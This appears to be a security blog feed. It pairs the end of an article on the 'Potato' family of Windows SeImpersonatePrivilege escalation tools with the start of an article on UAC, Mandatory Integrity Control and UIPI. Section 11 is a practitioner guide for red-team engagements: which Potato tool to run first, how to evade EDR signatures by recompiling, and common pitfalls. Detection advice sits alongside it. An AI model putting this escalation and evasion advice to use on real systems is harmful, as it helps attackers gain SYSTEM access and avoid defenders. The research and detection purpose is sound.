3. Deprecate `ImpersonateNamedPipeClient` as a Win32 primitive	Remove the call from `namedpipeapi.h` or gate it behind a Trustlet validation	Breaks parts of CSRSS, the console subsystem, and LSASS itself; no deprecation notice exists in the API reference as of mid-2026 [@ms-impersonate-api]

The CVE-2021-26414 hardening creeps toward option 2 for remote Distributed COM but explicitly does not for local Distributed COM [@ms-kb5004442]. The Adminless direction in Windows 11 24H2 -- Microsoft's "Administrator protection" platform feature, currently a preview shipped first via Windows Insider builds and not yet generally available [@ms-administrator-protection] -- introduces a per-application admin-elevation gate, but operates above the SYSTEM-impersonation primitive, not below it. Credential Guard isolates LSASS secrets in a Virtualization-Based Security Trustlet -- which protects NTLM hashes from extraction but does not gate ImpersonateNamedPipeClient or SeImpersonatePrivilege [@ms-credential-guard]. Smart App Control restricts arbitrary binary execution but does not block in-process exploitation by a SYSTEM-running service [@ms-smart-app-control].

The lower bound on attack cost is therefore O(1) per invocation, and it stays O(1) as long as the servicing-criteria carve-out holds. No combination of currently-shipping mitigations moves it.

Key idea: The Potato family is a fixed point of the current Windows architecture. Every closure option carries a compatibility cost that no currently-announced Microsoft release accepts. Until the MSRC Windows Security Servicing Criteria changes the position on SeImpersonatePrivilege and Distributed COM activation, the family's lower attack cost is O(1) and no servicing patch can move it [@msrc-servicing-criteria; @troopers24].

The claim is empirical, not formal. A "fixed point" in the algorithmic sense is a value where a function returns its own input. For the Potato family the analogue is: every Microsoft mitigation that does not change the servicing-criteria document returns a family that is still alive. The fixed-point status is consistent with eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -> FakePotato August 2024) against three named hardening waves. It would be invalidated by a major-version Windows release that explicitly revoked the default `SeImpersonatePrivilege` grant on service accounts. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria].

10. Open Problems

Five questions sit at the research frontier in 2026.

The next coercion vehicle. Each Potato variant is one SYSTEM-context service with a callback-style API. As the family has matured, researchers have mapped a growing surface of candidates: EFS RPC (which SharpEfsPotato already weaponises [@bugch3ck-efs]), Print Spooler async RPC (MS-PAR), Windows Search remote protocol (MS-WSP), and Microsoft Distributed Transaction Coordinator RPC. The community-empirical conjecture, repeated across Troopers 24 [@troopers24] and the Compass Security retrospective [@compass-three-headed], is that any SYSTEM-context Windows service with a callback-style API becomes a Potato vehicle within roughly eighteen months of operational need.

The "eighteen-month vehicle cadence" is an informal community claim, not a measured statistic. It originates in the Troopers 24 retrospective by Pierini and Cocomazzi [@troopers24] and is reinforced by the Compass Security follow-on documenting how the SilverPotato chain was productised within months of Pierini's February 2024 ADCS-server post [@decoder-adcs-server; @compass-three-headed]. The number should be read as a rule of thumb, not a benchmark.

Linux and Windows Subsystem for Linux extension. No Linux analogue of SeImpersonatePrivilege exists. There are partial precedents in the impacket cross-protocol relay work, but no Potato-class primitive that produces a SYSTEM token on a Linux host. Open.

Will defence-in-depth combine to close the family without ever declaring a new boundary? Microsoft has shipped Credential Guard [@ms-credential-guard], Hypervisor-Protected Code Integrity [@ms-hvci], Smart App Control [@ms-smart-app-control], and the experimental Administrator-protection direction in Windows 11 24H2 [@ms-administrator-protection]. Each changes the runtime trust model in some way. No combination of currently-shipping technologies closes the family as of May 2026 -- the Potato primitives live below the layer those technologies operate on [@troopers24; @compass-three-headed].

A defensive detection primitive that catches every variant. The unifying invariant is ImpersonateNamedPipeClient being called from a thread that holds SeImpersonatePrivilege against a named pipe that has just received a SYSTEM-context authentication originating from a service the calling process did not initiate. Per-variant detection rules exist for each named tool (GodPotato, PrintSpoofer, JuicyPotato). A generalising rule has not been published [@ms-impersonate-api]. The informal community position is that the family is non-detectable as a class because the primitive is in the legitimate hot path of nearly every Windows service.

MSRC servicing-criteria position on cross-session Distributed COM activation. LocalPotato (CVE-2023-21746) received a CVE for a piece of the local NTLM protocol [@nvd-cve-2023-21746]. FakePotato (CVE-2024-38100) received a CVE for an access-control list misconfiguration on the ShellWindows AppID [@nvd-cve-2024-38100]. SilverPotato is still unpatched [@decoder-silverpotato; @troopers24]. The boundary that distinguishes these three is unclear: why was the ShellWindows cross-session activation patched while the sppui cross-session activation has not been? The answer determines the next decade of the family. The defensible reading is that Microsoft will service variants that look like permission misconfigurations on a single AppID but not the underlying cross-session Distributed COM activation primitive itself.

11. How to Use a Potato in 2026

The practitioner question is operational. Given a foothold and a goal, which Potato variant does the job? The decision tree below walks through the path researchers settle into on red-team engagements.

The first-try heuristic is short. GodPotato first, because it is the single binary that works on every in-support Windows release [@beichendream-god]. If the GodPotato binary signature is blocked by Endpoint Detection and Response, SweetPotato with -e PrintSpoofer (or -e EfsRpc on a Domain Controller where Spooler is off) [@ccob-sweet]. If both are blocked, SharpEfsPotato as the lower-public-exposure third choice [@bugch3ck-efs]. For pre-2023 unpatched fleets, JuicyPotatoNG during the Phase-2 hardening window and JuicyPotato on pre-1809 builds [@antonio-juicyng; @ohpe-juicy]. For domain escalation against a DC, SilverPotato with the Compass Security KrbRelay modifications [@decoder-silverpotato; @compass-three-headed].

Note: GodPotato. If signature-blocked, SweetPotato with -e PrintSpoofer. If both blocked, SharpEfsPotato. The rest of the family is for situations the first three do not cover (legacy fleets, DC escalation, technique illustration of patched variants) [@beichendream-god; @ccob-sweet; @bugch3ck-efs].

Several implementation pitfalls catch new operators. The named-pipe path that GodPotato uses (\pipe\<token>\pipe\epmapper) is widely signatured by EDR vendors -- see the detection-engineering Spoiler below for the specific Sigma and Elastic rules [@sigma-potato-hktl; @elastic-rogue-pipe] -- and recompiling from source with a different pipe template is the standard countermeasure. A token holding SeImpersonatePrivilege does not necessarily enable it -- explicit AdjustTokenPrivileges with SE_PRIVILEGE_ENABLED is required, and custom adaptations frequently miss the step [@ms-adjusttokenprivileges]. SweetPotato's default -e PrintSpoofer mode fails silently on a Domain Controller where Spooler is disabled per the PrintNightmare aftermath; the correct DC default is GodPotato or SharpEfsPotato. RoguePotato's outbound TCP 135 to attacker infrastructure is blocked by default in most enterprise networks. FakePotato and SilverPotato both require the victim identity to be actively logged in, since both depend on a live cross-session activation surface [@itm4n-printspoofer; @antonio-rogue; @decoder-silverpotato; @decoder-fakepotato].

If you defend Windows rather than attack it, the detection target is the conjunction of (a) named-pipe creation by an IIS or SQL or service account, (b) a SYSTEM-context process connecting to that pipe shortly after, and (c) `CreateProcessWithToken` from the original service-account process. None of the three events alone is anomalous. The conjunction is. Sysmon Event ID 1 (Process Create) paired with Event IDs 17 and 18 (PipeEvent: Pipe Created and Pipe Connected) plus ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` cover the activation-plus-pipe half [@ms-sysmon]; Sysmon Event ID 10 (ProcessAccess) on `lsass.exe` from the originating service account is the third pillar that surfaces the impersonation handle acquisition [@ms-sysmon]. Per-variant signatures are published as Sigma rules for the public LocalPotato, CoercedPotato, JuicyPotato, RottenPotato, and EfsPotato binaries [@sigma-potato-hktl; @sigma-localpotato], and Elastic's `privilege_escalation_via_rogue_named_pipe` rule fires on the PrintSpoofer / EfsPotato pipe-path pattern that GodPotato shares [@elastic-rogue-pipe]. A class-generalising rule that fires on the *primitive* (rather than per-binary) has not been published.

Library and framework support follows the same shape as any post-exploitation primitive (the picture here is community-empirical, drawn from public BOF and module repositories rather than vendor reference architectures). Cobalt Strike Beacon Object Files wrapping GodPotato, PrintSpoofer, and SweetPotato are widely shared in the red-team community -- incursi0n/GodPotatoBOF is one publicly published example that integrates with BeaconUseToken() for in-Beacon SYSTEM-token application [@godpotato-bof] -- and the same wrappers load into Sliver. PowerShell wrappers around PrintSpoofer and JuicyPotato are integrated into Empire and Starkiller. The Metasploit incognito post-exploitation module handles token impersonation as a primitive but does not wrap GodPotato directly [@msf-incognito]. The impacket toolkit's ntlmrelayx is the canonical relay engine for the tail of SilverPotato [@fortra-impacket], and OleViewDotNet -- Forshaw's tool -- is the discovery oracle that surfaced the sppui and ShellWindows AppIDs in the first place [@tyranid-oleview; @decoder-silverpotato; @decoder-fakepotato].

12. Frequently Asked Questions

The name `Potato` originates with Stephen Breen's `foxglovesec/Potato` repository, created February 9, 2016, three weeks after the January 16, 2016 HotPotato blog post [@foxglove-potato-repo; @foxglove-hotpotato]. HotPotato is in the family because it pivots through the same `SeImpersonatePrivilege` plus named-pipe-impersonation primitive that every later variant exploits -- the vehicle is different (NetBIOS spoofing + WPAD + HTTP-to-SMB rather than Distributed COM) but the architectural carve-out is the same. See §4 for the bracketing-variant framing. Because every Internet Information Services application-pool identity is granted the privilege by Windows default [@itm4n-printspoofer]. The grant exists for legitimate request-scoped impersonation -- it is the mechanism IIS uses to "act as" a calling user during authenticated request handling. The same default grant is the entire vulnerability surface for the Potato family. The Microsoft Security Servicing Criteria document treats the resulting `SeImpersonate`-to-SYSTEM transition as a safety boundary rather than a security boundary [@msrc-servicing-criteria; @troopers24]. No. CVE-2021-26414 hardening raises the *authentication* bar for Distributed COM clients to `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` and was fully enforced on March 14, 2023 in Phase 3 of the rollout [@ms-kb5004442]. It does not declare Distributed COM activation a security boundary. The proof is that GodPotato, which exploits an RPCSS OXID-handling defect rather than the activation authentication level, survives all three phases of the rollout and remains the practitioner default in 2026 [@beichendream-god]. Open question, with a defensible reading. LocalPotato attacks the local-user-to-local-user NTLM authentication context handle, which *is* on the servicing-criteria boundary list [@decoder-localpotato; @msrc-servicing-criteria]. RemotePotato0 attacks the `SeImpersonate`-to-SYSTEM transition via cross-session Distributed COM activation, which is *not* on the list and was therefore deemed an extension of the existing carve-out [@sentinellabs-relaying; @troopers24]. The two boundaries (local NTLM authentication context vs cross-session Distributed COM activation) are not equivalent in Microsoft's published servicing position. Yes, on every patched Windows 11 / Server 2025 build as of this writing [@beichendream-god]. The RPCSS OXID-handling defect that GodPotato weaponises survives all three CVE-2021-26414 hardening phases [@ms-kb5004442; @compass-three-headed]. Microsoft has not assigned a CVE to the underlying defect, consistent with the servicing-criteria reading. Operationally, the only thing that changes between releases is the binary signature -- EDR vendors signature the public Apache-2.0 binary by hash, and operators recompile from source with cosmetic changes to evade [@beichendream-god]. Does not exist as of May 2026. If a 2025-2026 variant appears under an unfamiliar name -- French or otherwise -- verify against the canonical sources before citing: `decoder.cloud` for the Pierini and Cocomazzi line, `github.com/antonioCoco/*` for the Cocomazzi-authored repositories, `github.com/BeichenDream/*` for the BeichenDream line, and `itm4n.github.io` for the PrintSpoofer / SweetPotato line [@decoder-silverpotato; @antonio-rogue; @beichendream-god; @itm4n-printspoofer]. The Troopers 24 retrospective is the community-canonical lineage list as of the most recent consolidated talk [@troopers24]. Informally, no. The primitive `ImpersonateNamedPipeClient` is in the legitimate hot path of nearly every Windows service [@ms-impersonate-api]. Per-variant signatures exist for the public binaries (GodPotato, PrintSpoofer, JuicyPotato), and ETW providers `Microsoft-Windows-COM` and `Microsoft-Windows-RPC` surface the activation-and-RPC events that the Distributed COM variants generate. A class-generalising detection rule has not been published as of May 2026, and the false-positive rate on legitimate Windows services is high for any rule that fires on `ImpersonateNamedPipeClient` alone [@troopers24].

13. The Architectural Decision

Return to the opening scene. The same Internet Information Services web shell, the same GodPotato.exe, the same ten-second SYSTEM shell. The reader now knows this is not a zero-day. It has been a single-binary operation for the better part of a decade. Every step is documented Win32 behaviour. And every step is permitted by Microsoft's published servicing position [@beichendream-god; @msrc-servicing-criteria; @troopers24].

Nine years of named-variant disclosures. Eleven named variants. Three Microsoft hardening waves. Two CVEs -- LocalPotato in January 2023, FakePotato in July 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]. One "Won't Fix" decision on a working Domain Admin escalation in April 2021 [@sentinellabs-relaying]. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary [@troopers24; @msrc-servicing-criteria]. The MSRC Windows Security Servicing Criteria document, the one whose boundary definition fetches in static HTML and whose enumeration table is JavaScript-rendered, is the through-line [@msrc-servicing-criteria]. Pierini and Cocomazzi say it bluntly in the Troopers 24 abstract:

Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems. -- Pierini and Cocomazzi, Troopers 24 abstract [@troopers24]

Microsoft will never fix the Potato class because fixing it requires declaring Distributed COM activation a security boundary, and they have spent twenty-five years insisting it is not. What would change that? A major-version Windows release that explicitly revokes the default SeImpersonatePrivilege grant from service accounts -- a compatibility-breaking change that breaks IIS, SQL Server, BITS, the Spooler, and most third-party services that depend on the legitimate impersonation contract. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria; @ms-kb5004442; @beichendream-god].

Until then, the family is alive, and the ten-second SYSTEM shell is the default outcome of any IIS or service-account foothold on a fully-patched Windows machine. That is not the unintended consequence of an unpatched bug. That is the intended consequence of a published architectural decision.

Key idea: The Potato family is not a stack of bugs Microsoft is slowly working through. It is the long-running consequence of a published architectural decision: that the SeImpersonatePrivilege-to-SYSTEM transition is a safety boundary, not a security boundary. Eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -> FakePotato August 2024) are the empirical proof of how stable that decision is [@troopers24; @msrc-servicing-criteria].

The following retention block summarises the six key terms above. Citations for each definition live in §2.1, §2.2, §6.5, §6.1, §3, and §2 of the body respectively (the StudyGuide MDX wrapper does not render @ref-id links inline).

The Integrity-Level Stack: MIC, UIPI, and Twenty Years of UAC's Quiet Plumbing

noreply@paragmali.com (Parag Mali) — Sun, 31 May 2026 00:00:00 GMT

**UAC has never been the consent prompt.** Two Vista-era primitives, Mandatory Integrity Control (MIC) and User Interface Privilege Isolation (UIPI), add an integrity axis to the access check and a windowing-layer analog that blocks cross-IL message injection. The split-token model gives every administrator a Medium-IL filtered token at logon and holds the full admin token dormant. The yellow dialog is the smallest part of the system. The author of its canonical reference, Mark Russinovich, publicly disclaimed it as "not a security boundary" in February 2007, and twenty years of bypass research has been the empirical confirmation. In November 2024, Microsoft finally moved the boundary line with Administrator Protection. The MIC + UIPI plumbing outlived UAC itself: it is still the substrate of every browser sandbox, every AppContainer, and the Adminless successor in 2026.

1. Two whoami Outputs, Sixty Seconds Apart

Open an unelevated PowerShell on a Windows 11 administrator account. Run whoami /groups /priv. Click "Yes" on the yellow prompt. Open an elevated PowerShell on the same account. Run the same command. The two outputs are different lists of SIDs. Sixty seconds have passed. The consent prompt did not move a single bit of OS state on its own. The operating system did, because of a stack of primitives that ship with every Windows install and that almost no Windows user has ever heard the names of. This article is a tour of that stack, and of what twenty years of bypass research has taught us about it.

Place the two outputs side by side. The user is the same. The session is the same. The clock has barely moved. Read them carefully.

PS C:\Users\admin> whoami /groups /priv | findstr /i "Mandatory Administrators SeDebug"
BUILTIN\Administrators                Group used for deny only
Mandatory Label\Medium Mandatory Level Label
(SeDebugPrivilege not present)

PS C:\Users\admin> whoami /groups /priv | findstr /i "Mandatory Administrators SeDebug"
BUILTIN\Administrators                Enabled by default, Enabled group, Group owner
Mandatory Label\High Mandatory Level   Label
SeDebugPrivilege                       Disabled

Four facts fall out of those two outputs, and each one of them is a foothold for the rest of this article.

The first fact is that the administrator group SID is present in both tokens. It is not added by the elevation. In the filtered token it carries the flag SE_GROUP_USE_FOR_DENY_ONLY, which means the access-check algorithm consults it only when matching a deny ACE and otherwise pretends it is absent [@uac-how-it-works]. In the elevated token, the same SID is fully enabled. The dialog did not add a SID; it changed which token Windows uses.

The second fact is the integrity level. In the filtered token, the mandatory label reads Mandatory Label\Medium Mandatory Level. In the elevated token, the same label reads Mandatory Label\High Mandatory Level. That label corresponds to a well-known SID under the S-1-16-X family (S-1-16-8192 for Medium and S-1-16-12288 for High) [@well-known-sids]. The integrity level is not a regular group SID. It is a separate field on the token, and as we will see in §4, it drives a separate access-check evaluator that runs before the discretionary access check [@mic-doc].

The third fact is the privilege set. The filtered token holds a small set of user-mode privileges (SeChangeNotifyPrivilege, SeShutdownPrivilege, a handful of others). The elevated token holds the full administrator privilege set, including the named ones the security press writes about: SeDebugPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeAssignPrimaryTokenPrivilege, and twenty or so others, depending on the Windows build [@russinovich-tnm-2007].

The fourth fact is the most subtle, and the one this whole article exists to make rigorous. The yellow dialog did not create the elevated token. The OS created it at logon, almost half an hour before the prompt ever rendered, and held it dormant in the LSA. The prompt asked the user a single question: may I, the operating system, use the token I already have? It did not ask: may I, the operating system, mint a more privileged token now? That distinction is the difference between how every Windows user talks about UAC and how UAC actually works.

Note: The yellow dialog moves no bits. It asks permission to use authority that was already constructed at logon and held dormant. The integrity primitives, MIC and UIPI, do the bounding work whether or not a prompt ever renders.

The four primitives we are about to tour are the substrate beneath everything in those two whoami outputs. Mandatory Integrity Control (MIC) is the access-check evaluator that decided your Medium-IL PowerShell could not write into %SystemRoot%\System32 before any DACL was consulted. User Interface Privilege Isolation (UIPI) is the windowing-layer analog that prevented your Medium-IL Edge tab from injecting WM_SETTEXT into the High-IL elevated PowerShell next to it. The split-token model is the LSA policy that decided your interactive shell should hold the Medium-IL token instead of the High-IL one. The Application Information service (Appinfo) is the SYSTEM-trusted broker that mediated the token swap when you clicked "Yes."

This article walks every one of those layers, then ends at the empirical proof: twenty years of "UAC bypasses," and Microsoft's own quiet acknowledgement, from week one, that the dialog was never the security boundary [@russinovich-blog-2007]. Why did Microsoft build this stack in the first place? What was wrong with how Windows XP did it?

2. The XP Problem and the Vista Bet

On the overwhelming majority of consumer Windows XP installs in 2003, every process the user launched ran as Administrator, because the first interactive account XP provisioned at setup was an Administrator and the typical user never created a separate Limited User account [@margosis-archive]. Every browser tab. Every embedded Word macro. Every drive-by download. The operational vulnerability surface was the entire OS, because authority on Windows is carried in the access token, and the access token of those XP-era user processes held the full administrator SID set.

Sysinternals co-founder Mark Russinovich, then a Microsoft engineer following the 2006 Winternals acquisition, framed the problem precisely in the June 2007 issue of TechNet Magazine: "Most users of Windows XP run with full administrative rights all the time, allowing all software they run, including malware, to have unrestricted access to the system" [@russinovich-tnm-2007]. The sentence reads like a confession, and it was. The OS shipped with a sound access-control model and an operational policy that defeated it from the first reboot.

Two distinct threat models drove the architectural response Vista shipped four years later.

Threat model one: the runaway admin

The first threat model was the runaway admin. Default-admin consumer installs meant malware silently inherited admin authority because the user was the admin. A drive-by exploit in Internet Explorer ran as the user, the user was an admin, and the malware was an admin. There was no point in the OS where a least-privilege boundary could intervene, because the token never carried a least-privilege bound to begin with. The DACLs were correct; the policy that filled the tokens was the failure.

Threat model two: the shatter-attack class

The second threat model was the shatter-attack class. In August 2002, security researcher Chris Paget published a paper titled "Exploiting design flaws in the Win32 API for privilege escalation" on the Bugtraq mailing list, immediately mirrored on Help Net Security [@helpnet-paget]. The paper coined the term shatter attack and demonstrated that on Windows NT, 2000, and XP, any process running on a user's interactive desktop could send a WM_TIMER message carrying a callback function pointer to any other process's message loop on the same desktop. The receiving process would invoke the callback in its own address space, at its own privilege level [@shatter-wiki].

The shatter-attack term is sometimes attributed to Brett Moore alone. Paget's August 2002 Bugtraq paper actually coined the term; Moore's Black Hat USA 2004 talk Shoot The Messenger: Win32 Shatter Attacks productised the technique class and brought it to a wider conference audience. Both attributions are correct for different artifacts.

This was an architectural defect. The receiving process did not authenticate the message origin. It could not, because the Win32 messaging system was designed in the late 1980s under the assumption that all windows on a desktop belonged to one trust principal. By 2002, that assumption had been false for a decade: services ran on the user's interactive desktop with LocalSystem authority, and the user's browser could send them messages.

Microsoft's December 2002 patch (security bulletin MS02-071) fixed individual services that exposed the most exploitable callbacks. It did not fix the architectural class, because the class was a property of the Win32 messaging design, not of any one service [@shatter-wiki].

The popular history of the shatter-attack class collapses two separate authorship events into one. Chris Paget's August 2002 Bugtraq paper coined the term and produced the original demonstration tool (which Paget called "Shatter") [@helpnet-paget]. Brett Moore's Black Hat USA 2004 talk *Shoot The Messenger: Win32 Shatter Attacks*, eighteen months later, productised the technique into a conference-grade reference talk and contributed additional disclosure work at Security-Assessment.com.

Both attributions are accurate for different artifacts: Paget for the term and the August 2002 paper, Moore for the Black Hat 2004 productisation. The Wikipedia Shatter attack article preserves both authorships verbatim [@shatter-wiki]. The reason the disambiguation matters: any historical account of Vista's UIPI design decision must attribute the threat-model framing correctly, because Microsoft cited Paget's 2002 paper, not Moore's 2004 talk, in the internal architectural discussions Russinovich later summarised [@russinovich-blog-2007].

The Vista bet, stated as four design decisions

Between 2005 and 2006, Microsoft made four decisions about how Vista would respond. The first was to split the administrator's authority by default: an admin user would not hold a single admin token at logon, but a filtered token plus a dormant linked one. The second was to mediate the recombination through an OS-controlled UI surface, so the user could see and consent to the moment authority crossed an integrity boundary. The third was to add a second access-check axis (integrity) that the DACL could not override. The fourth was to add a windowing-layer analog to close the cross-IL variant of the shatter-attack class.

All four shipped together. Vista RTM'd on November 8, 2006 to OEMs and businesses, and Microsoft launched it to consumers on January 30, 2007 [@vista-press-release]. The press release called it "the most significant product launch in Microsoft Corp.'s history."

The architectural canon was published five months later, in the June 2007 issue of TechNet Magazine under the title Security: Inside Windows Vista User Account Control [@russinovich-tnm-2007]. The author was Russinovich, and the article became the single most-cited primary on UAC in the Windows-security literature. Five months earlier, however, in a TechNet Blogs post about PsExec, the same author had quietly written something the entire later debate would rest on, and almost no one read it for what it actually said [@russinovich-blog-2007]. We will return to that post in §7. First, the harder question: why couldn't NT's existing access-control model handle any of this on its own?

3. Why the DACL and the Privilege Were Not Enough

Windows NT had the access-control model from day one. It had Security Identifiers (SIDs), access tokens, discretionary access control lists (DACLs), privileges, and an access-check algorithm with a name (SeAccessCheck) that the kernel exposed and documented [@access-control][@windows-internals]. The model was correct in theory and broken in practice. To see why, watch what happens when an XP administrator opens a malicious Word document.

The user double-clicks the document. Word starts. Word loads the document's embedded macro. The macro calls URLDownloadToFile and writes evil.exe into %TEMP%. Then it calls CreateProcess on evil.exe. The new process inherits its parent's primary access token, which is the user's interactive token, which carries the administrator group SID, enabled, with the full administrator privilege set. The DACL on HKLM\SYSTEM\CurrentControlSet\Services grants Full Control to BUILTIN\Administrators. The malware writes a new service entry. The malware now persists across reboots, all without a single elevation prompt, because there was no elevation transition to prompt at. The user was already the administrator [@russinovich-tnm-2007].

The first problem is in the D of DACL. Discretionary access control lists are discretionary by definition: the owning principal of an object decides who has access [@dacls-control]. An attacker running as the user can rewrite any DACL the user owns. That is not a bug; it is the meaning of the word discretionary. Mandatory access-control models (Bell-LaPadula 1973 [@blp-wiki], Biba 1977 [@biba-wiki]) exist precisely because discretionary models cannot defend against principals running with the owner's authority.

The second problem is in the privilege model. A Windows access token carries a list of named privileges such as SeDebugPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege. Each privilege is a per-token authorisation to bypass some specific DACL check. An admin token holds them all. There is no way in the NT 4.0 / 2000 / XP design to say "this Word process holds the admin's identity but should not be trusted to use SeDebugPrivilege." Privileges are granted to tokens at logon, and the only way to remove them from a downstream process is to construct a restricted token explicitly, by hand, with CreateRestrictedToken [@createrestrictedtoken].

Generation 1: the seven-year failure to make least-privilege voluntary

Between 1999 and 2006, Microsoft and the Windows security community tried five different ways to make least privilege voluntary. None of them worked at consumer scale.

CreateRestrictedToken is a Win32 API, documented since Windows XP and Server 2003, that produces a copy of an existing access token with selected SIDs marked deny-only, selected privileges removed, and an optional list of restricting SIDs added [@createrestrictedtoken]. It is the kernel primitive every later sandbox (Chromium's renderer sandbox, AppContainer, Office Protected View) is built on. It was a primitive, not a policy. A consumer install with default-admin logons could not use it without an opt-in from every application vendor.

runas.exe, shipped in Windows 2000, let a user explicitly launch a process under a different identity. The user was supposed to log in as a standard user and runas an administrator account when needed. In practice, the user logged in as the administrator and forgot the standard account existed.

Software Restriction Policies (SRP), shipped with Windows XP, let a domain admin define hash, path, certificate, or zone rules that the OS enforced at process creation [@srp-2003]. SRP was a policy mechanism on top of the SAFER substrate [@winsafer]. It worked when configured. On consumer Windows it was off by default; on enterprise Windows it was configured by the few who knew it existed.

Aaron Margosis, then a Microsoft consultant, ran a years-long blog campaign called "Non-Admin" arguing that ordinary users should log in as standard users and only elevate when necessary. His tooling included LUA Buglight (which diagnosed which OS calls a misbehaving application made that required admin privilege), MakeMeAdmin (a runas shim), and PrivBar (a status-bar widget that displayed the IL of the current process) [@margosis-archive]. The blog became required reading inside Microsoft and the Windows-admin community.

Margosis's writing documents the daily friction of being a non-admin on XP. A printer-driver installer fails because it writes a per-user setting to `HKLM`. A game launcher fails because it writes save files to `%ProgramFiles%`. A 1998 line-of-business app fails because it stores its INI file under its install directory. Each failure was the application's fault; in aggregate, the application population rendered non-admin operation untenable for the typical user [@margosis-archive].

Margosis's own pattern, openly discussed on the blog, was to give up on per-application diagnosis and log in as Administrator full-time, while documenting the friction professionally so Microsoft could harvest the data for Vista's compatibility shims. The primitives existed (CreateRestrictedToken, SRP, the SAFER substrate). The third-party software base rendered them unusable. That dataset is the reason Vista shipped file and registry virtualisation as a built-in shim [@russinovich-tnm-2007]: the only alternative was for every application vendor to fix their software, and Margosis's blog had documented for half a decade that this was not happening.

The lesson Microsoft took from the 1999-2006 experience was that voluntary least privilege does not scale. You cannot solve the runaway-admin problem with policy and exhortation. You need an architectural primitive that runs by default, bounds authority by integrity rather than by identity, and absorbs the legacy of applications written for unrestricted admin without breaking them. All four primitives of the Vista bet shipped together in November 2006 [@vista-press-release].

What does an integrity primitive look like, and how is it different from "another ACE"?

4. The Twin Primitives: MIC and UIPI

4.1 Mandatory Integrity Control

An access-check evaluator that compares the integrity level of a subject token to the integrity level of a target object before consulting the object's DACL. MIC denials short-circuit the access check; a Low-IL principal cannot write to a Medium-IL object regardless of what the DACL says.

The load-bearing fact about MIC is in a single sentence on the Microsoft Learn reference page, and the entire architectural difference between MIC and "just another ACE" lives in that sentence. MIC "evaluates access before access checks against an object's discretionary access control list (DACL) are evaluated" [@mic-doc].

Pause on that ordering. Before the DACL. Not together with it. Not after it. The integrity-level check is a separate evaluator that runs first, and its denial is final. If the IL check denies access, the DACL is never consulted, no matter what the DACL says. That is what the word mandatory in Mandatory Integrity Control means.

A well-known SID, carried on every Windows access token and every securable object, that orders subjects and objects on a seven-level integrity lattice (Untrusted, Low, Medium, Medium Plus, High, System, Protected Process).

The seven well-known integrity-level SIDs are defined in the Well-known SIDs reference page on Microsoft Learn [@well-known-sids].

Integrity level	RID (S-1-16-X)	Typical use
Untrusted	`S-1-16-0`	Most-restricted sandboxes; rare on consumer Windows
Low	`S-1-16-4096`	IE Protected Mode, AppContainer, Edge / Chrome renderers
Medium	`S-1-16-8192`	Default for interactive user processes
Medium Plus	`S-1-16-8448`	UI-Access processes (`uiAccess=true` manifest, Windows 7+)
High	`S-1-16-12288`	Elevated administrative processes
System	`S-1-16-16384`	Kernel-mode and `LocalSystem` services
Protected Process	`S-1-16-20480`	PPL-protected processes (LSASS with `RunAsPPL`, antimalware)

The Microsoft Learn MIC reference page describes the operational set as four integrity levels (low, medium, high, system) [@mic-doc]. The Well-known SIDs reference page enumerates seven [@well-known-sids]. Both framings are correct: Untrusted is rare on consumer systems, Medium Plus is a UI-Access-only quirk used by accessibility software, and Protected Process overlaps with Protected Process Light signing-level semantics rather than the canonical IL pipeline. The four-vs-seven discrepancy is a documentation artifact, not an inconsistency in the kernel.

The IL lives on a token in the TokenIntegrityLevel field, retrievable through GetTokenInformation and the TOKEN_MANDATORY_LABEL structure [@mic-doc]. The IL lives on an object in the system access control list (SACL) as a SYSTEM_MANDATORY_LABEL_ACE, a special ACE type that carries the object's IL SID and a mandatory-policy mask [@mandatory-label-ace]. Three policy bits are defined in the winnt.h header [@mandatory-label-ace].

SYSTEM_MANDATORY_LABEL_NO_WRITE_UP (0x1) -- default. A subject at lower IL cannot write to this object.
SYSTEM_MANDATORY_LABEL_NO_READ_UP (0x2) -- opt-in. A subject at lower IL cannot read this object.
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP (0x4) -- opt-in. A subject at lower IL cannot execute this object.

Object authors who do not specify a mandatory label inherit the default, which is NO_WRITE_UP only [@mic-doc]. The opt-in policies are exactly that: opt-in. A High-IL process that wants its files invisible to a Medium-IL process must explicitly request NO_READ_UP on the SACL. By default, MIC bounds writes, not reads, and that is one of the structural shapes Forshaw's 2017 "Reading Your Way Around UAC" series exploited [@forshaw-reading-uac].

The "regardless of DACL" property is the part to read slowly. A Low-IL principal cannot write to a Medium-IL object "even if that object's DACL allows write access to the principal," because the IL check runs first and short-circuits the access decision before the DACL evaluator ever sees the request [@mic-doc]. This is the difference between adding "another ACE" for integrity and adding a separate evaluator that runs first. An integrity ACE in the DACL would have been overridable by the object owner, because DACLs are discretionary. A mandatory-label ACE in the SACL is enforced by SeAccessCheck itself, independently of any other ACE in the DACL.

flowchart TD A["Subject requests access
(SID set, IL, desired access)"] --> B["MIC evaluator
compares subject IL to object IL
against NO_WRITE_UP / NO_READ_UP policy"] B --> C{"IL check allows
requested access?"} C -- "No" --> D["ACCESS_DENIED
(DACL not consulted)"] C -- "Yes" --> E["DACL evaluator
walks ACEs in order
(deny first, then allow)"] E --> F{"DACL grants
requested access?"} F -- "Yes" --> G["ACCESS_GRANTED"] F -- "No" --> H["ACCESS_DENIED"]

The architectural payoff is in the pseudocode of the access-check decision itself. Strip the API noise away and the decision reduces to two evaluators in series. The conceptual ordering is exact.

{` // Pseudocode of the Windows access-check ordering (Vista+). // See Microsoft Learn: Mandatory Integrity Control.

function seAccessCheck(subjectToken, object, desiredAccess) { // Step 1: Mandatory Integrity Control. Runs before the DACL. const subjectIL = subjectToken.integrityLevel; // e.g. Medium = 0x2000 const objectIL = object.mandatoryLabel.integrityLevel; // e.g. High = 0x3000 const policy = object.mandatoryLabel.policy; // bitmask

